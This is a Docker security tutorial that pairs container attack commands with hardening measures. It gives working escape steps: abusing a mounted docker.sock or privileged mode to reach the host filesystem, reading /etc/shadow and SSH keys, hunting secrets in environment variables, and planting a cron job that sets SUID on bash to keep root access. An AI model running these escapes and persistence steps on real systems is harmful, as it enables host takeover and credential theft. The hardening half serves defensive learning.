Docker is ubiquitous in modern infrastructure, but a misconfigured container can expose the host or entire internal network. This project covers the most common Docker container attacks and the hardening measures to prevent them.
# Check if we're inside a container:
cat /proc/1/cgroup | grep docker
ls /.dockerenv
env | grep -iE "pass|secret|token|key"
# Decode current capabilities:
cat /proc/self/status | grep CapEff
capsh --decode=0000000000003000
# Check if Docker socket is mounted:
ls -la /var/run/docker.sock
# Exploit — create privileged container with host filesystem:
docker -H unix:///var/run/docker.sock run -it \
--rm \
-v /:/host \
alpine chroot /host sh
# Access host files:
cat /etc/shadow
ls /root/.ssh/
# Detect privileged container:
cat /proc/self/status | grep CapEff
# CapEff = 0000003fffffffff → privileged
# Exploit — mount host disk:
fdisk -l
mkdir /mnt/host && mount /dev/sda1 /mnt/host
cat /mnt/host/etc/shadow
# Add cron persistence on host:
echo "* * * * * root chmod +s /bin/bash" >> /mnt/host/etc/crontab
# Environment variables (common leak):
printenv | grep -iE "pass|secret|token|key|db_|api"
# Image layer history:
docker history image:tag --no-trunc
# Inspect container metadata:
docker inspect container_id | python3 -m json.tool | grep -iE "env|password"
# Config files inside container:
find / -name "*.env" -o -name "config.php" 2>/dev/null
# BAD: generic base + root + secrets in build
FROM ubuntu:latest
ENV DB_PASSWORD=supersecret123
# GOOD: minimal image + non-root user + no secrets
FROM python:3.12-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
RUN apt-get update && apt-get install -y --no-install-recommends \
libpq5 \
&& rm -rf /var/lib/apt/lists/*
WORKDIR /app
COPY --chown=appuser:appuser . .
RUN pip install --no-cache-dir -r requirements.txt
USER appuser
EXPOSE 8080
CMD ["python", "app.py"]
# Edit /etc/docker/daemon.json:
{
"icc": false,
"userns-remap": "default",
"no-new-privileges": true,
"log-driver": "json-file",
"log-opts": { "max-size": "10m", "max-file": "3" }
}
systemctl restart docker
docker run \
--read-only \
--tmpfs /tmp \
--no-new-privileges \
--cap-drop ALL \
--cap-add NET_BIND_SERVICE \
--user 1000:1000 \
--memory 512m \
--cpus 0.5 \
-p 127.0.0.1:8080:8080 \
my-image:latest
# Trivy scanner:
apt install trivy
trivy image nginx:latest
trivy image --severity HIGH,CRITICAL my-app:latest
# CIS Docker Benchmark:
docker run --rm -it --net host --pid host \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
docker/docker-bench-security
| Measure | Command / Config |
|---|---|
| No Docker socket exposure | Don't mount /var/run/docker.sock |
| No privileged mode | Omit --privileged |
| Non-root user | USER appuser in Dockerfile |
| Drop capabilities | --cap-drop ALL --cap-add ... |
| Read-only FS | --read-only |
| No secrets in image | Use Docker Secrets or runtime env |
| Scan image | trivy image name:tag |
| CIS Benchmark | docker/docker-bench-security |